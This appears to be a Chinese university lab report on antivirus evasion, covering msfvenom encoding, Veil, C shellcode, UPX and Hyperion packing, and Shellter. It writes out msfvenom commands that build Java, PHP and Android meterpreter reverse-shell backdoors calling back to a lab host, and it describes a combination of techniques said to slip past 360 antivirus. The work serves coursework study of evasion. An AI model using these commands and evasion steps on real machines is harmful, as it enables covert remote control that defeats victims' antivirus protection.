20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

1. 实践内容(4分)

  1.1 方法(3分)

       - 正确使用msf编码器(0.5分),

       - msfvenom生成如jar之类的其他文件(0.5分),

       - veil(0.5分),

       - 加壳工具(0.5分),

       - 使用C + shellcode编程(0.5分),

       - 使用其他课堂未介绍方法(0.5分)

    1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

        (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

     1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

1.正确使用msf编码器

使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序5122backdoor.exe扫描

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

用msf编码器对后门程序1次编码,用VirusTotal或Virscan这两个网站检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

10次编码

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

可见多次编码对于免杀没有太大的帮助

因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。而且msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码

侦测,这样就能解决所有msfvenom生成的恶意代码了。

2.msfvenom生成如jar之类的其他文件

使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > java5122backdoor.jar生成java后门

20175122邱昕网络对抗技术exp3《免杀原理与实践》

生成php后门程序 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > php5122backdoor.php

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

生成apk文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > apk5122backdoor.apk

20175122邱昕网络对抗技术exp3《免杀原理与实践》

3.veil的安装及生成后门程序

关于veil和wine的安装道阻且长,由于过于坎坷没有截图,可参考同学们的博客,云班课中的讨论,csdn中的资料等等,反正各种方法我都试了,克隆是最慢的,wine是最常出错的,最后我也没明白自己怎么成功了,提一句,在克隆的时候把防火墙3600打开会快一点,原理不明。总的来说这一步应该是最麻烦的,无论哪个同学这一步都是出错最多的地方

 20175122邱昕网络对抗技术exp3《免杀原理与实践》

第一次成功的截图已经半夜一点多了,装的我心力憔悴,先睡了明天早上还有课

 进行一系列的设置

20175122邱昕网络对抗技术exp3《免杀原理与实践》

上传网站检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

4.使用C + shellcode编程

用msf生成一段shellcode

vi 5122.c创建c文件并将shellcode放进去

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

i686-w64-mingw32-g++ 5122.c -o c_shellcode5122.exe编译为可执行文件

检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

 

5.加壳工具

压缩壳:upx

20175122邱昕网络对抗技术exp3《免杀原理与实践》

进行检测(吐槽一下virscan,老是传不上去)还是能检测出来

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

加密壳:hyperion

将upx5122.exe文件复制到hyperion文件夹中

用wine hyperion.exe -v upx5122.exe hyperion5122.exe进行加壳

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

检测出来了,失败

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

shellter的使用

将nc.exe移到kali目录下

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

检测出来了,失败

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

6.通过组合应用各种技术实现恶意代码免杀

这里我用的是veil的其他方法,并进行加壳操作

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

 

加壳操作截图省略,过程参考上面

检测

setup.py的检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

runme.bat的检测

20175122邱昕网络对抗技术exp3《免杀原理与实践》

20175122邱昕网络对抗技术exp3《免杀原理与实践》

和杀毒软件能够共生

20175122邱昕网络对抗技术exp3《免杀原理与实践》

7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

win10,360

 20175122邱昕网络对抗技术exp3《免杀原理与实践》

8.基础问题回答

  (1)杀软是如何检测出恶意代码的?

有基于特征码检测的,有基于行为检测的,

特征码:如果一个可执行文件含有一段或多段特征码,就会被认为是恶意代码

行为检测:如果一个可执行文件莫名其妙连到一个奇怪的ip,无论是回连还是被动连接都可能会被认为是恶意代码

  (2)免杀是做什么?

让恶意代码不被木马发现或没那么容易发现

  (3)免杀的基本方法有哪些?

改变特征码,

压缩壳,加密壳,shellcode编码,veil

改变连接方式

尽可能多的使用回连即反弹式连接、使用隧道技术、加密通讯数据

 

9.实践总结与体会

到现在为止最难的一次实验吧,从veil的安装的频频出错,到杀软不断的把自己排列组合出来的后门程序检测出来,都挺难的,还好最后成功免杀了,最后说一句,360真垃圾。

10.开启杀软能绝对防止电脑中恶意代码吗?

不能,全新的恶意代码是几乎没有可能通过特征码来识别的,而基于行为的检测需要的时间更长

 

上一篇:msfvenom 常用生成 payload 命令


下一篇:20175104 李屹哲 Exp3 免杀原理与实践